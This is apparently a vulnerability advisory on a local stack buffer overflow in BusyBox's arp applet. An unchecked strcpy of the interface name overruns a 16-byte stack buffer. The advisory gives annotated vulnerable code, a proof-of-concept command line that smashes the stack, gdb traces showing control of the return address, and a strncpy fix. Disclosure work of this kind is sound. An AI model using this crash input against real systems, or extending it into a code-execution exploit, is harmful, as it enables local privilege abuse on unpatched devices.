SSD Advisory – BusyBox (local) cmdline Stack Buffer Overwrite

Vulnerability Description
BusyBox provides an `arp` applet which is missing an array bounds check for command-line parameter `IFNAME`. It is therefore vulnerable to a command-line based local stack buffer overwrite effectively allowing local users to write past a 16 bytes fixed stack buffer. This leads to two scenarios, one (A) where an IOCTL for GET_HW_ADDRESS (`SIOCGIFHWADDR`) fails and results in a corrupted `va_list` being passed to `*printf()` and one (B) where an attacker might provide valid params for the IOCTL and trick the program to proceed and result in a `RET eip overwrite` eventually gaining code execution.

Technical Details
By providing an overly long string for param `IFNAME` while setting `-D` (read HW Address from IFACE) and `-s` (set new entry) a strcpy operation can be reached that allows to write past the stack buffer `ifreq.ifr_name[IFANMESIZ]` [5,6]

	# ./busybox arp --help
	BusyBox v1.23.0.git (2014-12-26 19:27:13 CET) multi-call binary.
	Usage: arp
	[-vn]   [-H HWTYPE] [-i IF] -a [HOSTNAME]
	[-v]                [-i IF] -d HOSTNAME [pub]
	[-v]    [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [temp]
	[-v]    [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [netmask MASK] pub
	[-v]    [-H HWTYPE] [-i IF] -Ds HOSTNAME IFACE [netmask MASK] pub
	Manipulate ARP cache
	        -a              Display (all) hosts
	        -d              Delete ARP entry
	        -s              Set new entry
	        -v              Verbose
	        -n              Don't resolve names
	        -i IF           Network interface
	        -D              Read HWADDR from IFACE
	        -A,-p AF        Protocol family
	        -H HWTYPE       Hardware address type

Details: arp.c
The stack buffer overflow manifests in arp.c
Taint Graph

	busybox arp
	-> arp.c:477  - arp_main (argc, argv)
	 -> arp.c:524  - arp_set (argv)
	  -> arp.c:263: - arp_getdevhw (ifname=*args++)
	   -> arp.c:332: - strcpy (dst=fixed_buffer,src=ifname)
	   // --- stack is messed up now - arbitrary stack local vars overwritten already (including stored eip) ---
	   -> arp.c:222 ioctl_or_perror_and_die(,,ifr,<static_string>,ifname)
	   // A) ioctl_or_perror_and_die - FAILS - due to messed up stack
	       -> xfuncs_printf.c:508  - bb_verror_msg(fmt=<static_string>,valist p,strerr(errno))
	        -> verror_msg.c:31  - vasprintf(&msg, s=fmt, valist p);
	   // B) ioctl_or_perror_and_die - SUCCEEDS - due to attacker providing reasonable values for IOCTL
	      -> arp.c:238  - RETURN - stack messed up, direct eip control

Vulnerable Code
1. No bounds check in `arp_main`

		int arp_main(int argc UNUSED_PARAM, char **argv)
		{
			...
			/* Now see what we have to do here... */
			if (opts & (ARP_OPT_d | ARP_OPT_s)) {		    /** !! -d and -s  must be set*/
				if (argv[0] == NULL)						/** !! argument must be set == IFNAME*/
					bb_error_msg_and_die("need host name");
				if (opts & ARP_OPT_s)
					return arp_set(argv);					/** !! argv never checked, pass to arp_set (tainted)*/
				return arp_del(argv);
			}
			...
		}

2. No bounds check in arp_set

		static int arp_set(char **args)							/** !! args==IFNAME (tainted)*/
		{
			...
			/* Fetch the hardware address. */
			if (*args == NULL) {								/** !! IFNAME  must be set*/
				bb_error_msg_and_die("need hardware address");
			}
			if (option_mask32 & ARP_OPT_D) {					/** !! -d must be set*/
				arp_getdevhw(*args++, &req.arp_ha);             /** !! args never checked, pass to arp_getdevhw*/
			} else {
				if (hw->input(*args++, &req.arp_ha) < 0) {
					bb_error_msg_and_die("invalid hardware address");
				}
			}
			...
		}

3. No bounds check and buffer overwrite in arp_getdevhw

		static void arp_getdevhw(char *ifname, struct sockaddr *sa)   /** !! ifname==args (tainted)*/
		{
			struct ifreq ifr;										  /** !! static stack struct, sizeof(ifreq)==40*/
			const struct hwtype *xhw;								  /** !! static stack struct, sizeof(hwtype)==64*/
			strcpy(ifr.ifr_name, ifname);							  /** !! overwrites ifr.ifr_name[IFNAMESIZ==16] by strlen(ifname)*/
			ioctl_or_perror_and_die(sockfd, SIOCGIFHWADDR, &ifr,
							"can't get HW-Address for '%s'", ifname); /** !! will do the IOCTL and die on errors*/
			if (hw_set && (ifr.ifr_hwaddr.sa_family != hw->type)) {   /** !! Skip - hw_set is only set by -H|-t*/
				bb_error_msg_and_die("protocol type mismatch");
			}
			memcpy(sa, &(ifr.ifr_hwaddr), sizeof(struct sockaddr));   /** !! Skip - we do not care*/
			if (option_mask32 & ARP_OPT_v) {                          /** !! Skip - we do not specify -v*/
				xhw = get_hwntype(ifr.ifr_hwaddr.sa_family);
				if (!xhw || !xhw->print) {
					xhw = get_hwntype(-1);
				}
				bb_error_msg("device '%s' has HW address %s '%s'",
						ifname, xhw->name,
						xhw->print((unsigned char *) &ifr.ifr_hwaddr.sa_data));
			}
		} /** !! if we do not fail in IOCTL we'll land here - direct EIP control*/

Arbitrary length (may be limited by os) string `IFNAME` overwrites 16 bytes fixed buffer `ifreq.ifr_name[IFANMESIZ]` [5,6].
4. stack is messed up before IOCTL for SIOCGIFHWADDR in ioctl_or_perror_and_die
We control any fields below `ifr.ifr_name` – which essentially is any ifreq field, see below – allowing us to call `SIOCGIFHWADDR IOCTL` with user controlled fields and pot. let it die or make it succeed. If the `IOCTL` fails it will make the process die in `vsprintf()` due to messed up va_args on stack. If the `IOCT`L succeeds, it will make the process continue, copy taken from [5]

		203 struct ifreq {
		204 #define IFHWADDRLEN     6
		205         union
		206         {
		207                 char    ifrn_name[IFNAMSIZ];            /* if name, e.g. "en0" */  /** !! we overflow here */
		208         } ifr_ifrn;
		209
		210         union {
		211                 struct  sockaddr ifru_addr;
		212                 struct  sockaddr ifru_dstaddr;
		213                 struct  sockaddr ifru_broadaddr;
		214                 struct  sockaddr ifru_netmask;
		215                 struct  sockaddr ifru_hwaddr;
		216                 short   ifru_flags;
		217                 int     ifru_ivalue;
		218                 int     ifru_mtu;
		219                 struct  ifmap ifru_map;
		220                 char    ifru_slave[IFNAMSIZ];   /* Just fits the size */
		221                 char    ifru_newname[IFNAMSIZ];
		222                 void __user *   ifru_data;
		223                 struct  if_settings ifru_settings;
		224         } ifr_ifru;
		225 };

5. a) IOCTL fails

		//xfuncs_printf.c:508
		int FAST_FUNC ioctl_or_perror_and_die(int fd, unsigned request, void *argp, const char *fmt,...)
		{
			int ret;
			va_list p;													/** !! stack is messed up */
			ret = ioctl(fd, request, argp);
			if (ret < 0) {
				va_start(p, fmt);
				bb_verror_msg(fmt, p, strerror(errno));					/** !! valist p is corrupt, stack is messed up, and we fail, printing error*/
				/* xfunc_die can actually longjmp, so be nice */
				va_end(p);
				xfunc_die();
			}
			return ret;
		}
		//verror_msg.c:31  - vasprintf(&msg, s=fmt, valist p);
		void FAST_FUNC bb_verror_msg(const char *s, va_list p, const char* strerr)
		{
			char *msg, *msg1;
			int applet_len, strerr_len, msgeol_len, used;
			if (!logmode)
				return;
			if (!s) /* nomsg[_and_die] uses NULL fmt */
				s = ""; /* some libc don't like printf(NULL) */
			used = vasprintf(&msg, s, p);								/** !! valist p is corrupt */
			if (used < 0)
				return;
			...
		}	

6. b) IOCTL does not fail
As described in 3./4. the code proceeds with returning from `arp_getdevhw` eventually executing code from the `strcpy()` based overflow. (RET overwrite)
Proof of Concept
Brutally smash the stack buffer (provide any IP as arg `HOSTNAME` to bypass name resolver):

	# ./busybox arp -v -Ds 1.1.1.1 $(python -c "print 'A'*99")
	Segmentation fault
	# dmesg
	busybox[5135]: segfault at 41414141 ip 080b8a5b sp bfa924fc error 4 in busybox[8048000+1fd000]
	# gdb --args ./busybox_unstripped arp -v -Ds 1.1.1.1 $(python -c "print 'A'*99")
	(gdb) r
	...
	Program received signal SIGSEGV, Segmentation fault.
	0x080b8a5b in vfprintf ()
	(gdb) i r
	eax            0x0      0
	ecx            0xffffffff       -1
	edx            0x0      0
	ebx            0xbffff42c       -1073744852
	esp            0xbfffee6c       0xbfffee6c
	ebp            0xbffff408       0xbffff408
	esi            0x1a     26
	edi            0x41414141       1094795585
	eip            0x80b8a5b        0x80b8a5b <vfprintf+13739>
	eflags         0x10246  [ PF ZF IF RF ]
	cs             0x73     115
	ss             0x7b     123
	ds             0x7b     123
	es             0x7b     123
	fs             0x0      0
	gs             0x33     51
	(gdb) bt
	#0  0x080b8a5b in vfprintf ()
	#1  0x0805b629 in vasprintf ()
	#2  0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for '%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device")
	    at libbb/verror_msg.c:31
	#3  0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'")
	    at libbb/xfuncs_printf.c:508
	#4  0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141 out of bounds>, sa=0x41414141) at networking/arp.c:222
	#5  0x41414141 in ?? ()
	#6  0x41414141 in ?? ()
	#7  0x41414141 in ?? ()
	#8  0x41414141 in ?? ()
	#9  0x41414141 in ?? ()
	...
	(gdb) bt full
	#0  0x080b8a5b in vfprintf ()
	No symbol table info available.
	#1  0x0805b629 in vasprintf ()
	No symbol table info available.
	#2  0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for '%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device")
	    at libbb/verror_msg.c:31
	        msg = 0x13 <Address 0x13 out of bounds>
	        msg1 = 0x0
	        applet_len = -1073744492
	        strerr_len = -1073744524
	        msgeol_len = 0
	        used = -1073744508
	#3  0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'")
	    at libbb/xfuncs_printf.c:508
	        ret = -1
	        p = 0xbffff540 'A' <repeats 103 times>
	#4  0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141 out of bounds>, sa=0x41414141) at networking/arp.c:222
	        ifr = {ifr_ifrn = {ifrn_name = 'A' <repeats 16 times>}, ifr_ifru = {ifru_addr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>},
	            ifru_dstaddr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_broadaddr = {sa_family = 16705,
	              sa_data = 'A' <repeats 14 times>}, ifru_netmask = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_hwaddr = {
	              sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_flags = 16705, ifru_ivalue = 1094795585, ifru_mtu = 1094795585, ifru_map = {
	              mem_start = 1094795585, mem_end = 1094795585, base_addr = 16705, irq = 65 'A', dma = 65 'A', port = 65 'A'},
	            ifru_slave = 'A' <repeats 16 times>, ifru_newname = 'A' <repeats 16 times>, ifru_data = 0x41414141 <Address 0x41414141 out of bounds>}}
	#5  0x41414141 in ?? ()
	No symbol table info available.
	#6  0x41414141 in ?? ()
	No symbol table info available.
	#7  0x41414141 in ?? ()

A debugging session shows that we messed up the `va_list` on stack with the user provided string.
crosscheck: valid run (no crash expected, `IFNAME=AAAAA`):

	# gdb --args ./busybox_unstripped arp  -Ds 1.1.1.1 $(python -c "print 'A'*(5)")
	(gdb) b ioctl_or_perror_and_die
	Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501.
	(gdb) r
	Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1 AAAAA
	Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff5a4, fmt=0x820cc85 "can't get HW-Address for '%s'")
	    at libbb/xfuncs_printf.c:501
	501     {
	(gdb) s
	505             ret = ioctl(fd, request, argp);
	(gdb) s
	506             if (ret < 0) {
	(gdb) s
	507                     va_start(p, fmt);
	(gdb) s
	508                     bb_verror_msg(fmt, p, strerror(errno));
	(gdb) x/10s p
	0xbffff5a0:      "\375\370\377\277AAAAA"													/** !! valid va_list struct for 5*A*/
	0xbffff5aa:      "\377\277\365\370\377\277"
	0xbffff5b1:      ""
	0xbffff5b2:      ""
	0xbffff5b3:      ""
	0xbffff5b4:      "\300\207$\bp9\022\b\324\365\377\277\365\370\377\277b7\021\b\375\370\377\277\364\365\377\277D"
	0xbffff5d2:      ""
	0xbffff5d3:      ""
	0xbffff5d4:      "\002"
	0xbffff5d6:      ""
	(gdb)

see inline comments: va_list on stack shown by `x/10s p`
now overflow `va_list` by providing `IFNAME=A*(64+40+40)` (crash expected):

	gdb --args ./busybox_unstripped arp  -Ds 1.1.1.1 $(python -c "print 'A'*(64+40+40)")
	(gdb) ioctl_or_perror_and_die
	Undefined command: "ioctl_or_perror_and_die".  Try "help".
	(gdb) b ioctl_or_perror_and_die
	Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501.
	(gdb) r
	Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff514, fmt=0x820cc85 "can't get HW-Address for '%s'")
	    at libbb/xfuncs_printf.c:501
	501     {
	(gdb) s
	505             ret = ioctl(fd, request, argp);
	(gdb) s
	506             if (ret < 0) {
	(gdb) s
	507                     va_start(p, fmt);
	(gdb) s
	508                     bb_verror_msg(fmt, p, strerror(errno));
	(gdb) x/10s p
	0xbffff510:      'A' <repeats 148 times>													/** !! INVALID va_list struct, missing header*/
	0xbffff5a5:      "\271\004\b"
	0xbffff5a9:      "\231\357pU?\021\b\030\367\377\277\177\315 \b\314\365\377\277\314\365\377\277\320\365\377\277\320\365\377\277È$\b"
	0xbffff5cd:      "\231\357p\330\366\377\277"
	0xbffff5d5:      "\003"
	0xbffff5d7:      ""
	0xbffff5d8:      ""
	0xbffff5d9:      ""
	0xbffff5da:      ""
	0xbffff5db:      ""
	(gdb)

see inline comment: `va_list` is messed up.
Remediation Steps
`strcpy` => `strncpy(dst,src,n=sizeof(ifreq.ifr_name)-1)` or less error prone but more overhead `snprintf()`
References
[1] http://busybox.net
[2] http://busybox.net/downloads/?C=M;O=A
[3] http://git.busybox.net/busybox/commit/networking/arp.c?id=88e2b1cb626761b1924305b761a5dfc723613c4e
[4] https://en.wikipedia.org/wiki/BusyBox
[5] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L203
[6] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L26
Vulnerable Versions
BusyBox version 1.23.1
BusyBox version after 1.4.0
Immune Versions
BusyBox version prior to 1.4.0
Vendor response
The vendor has released a patch to address the vulnerability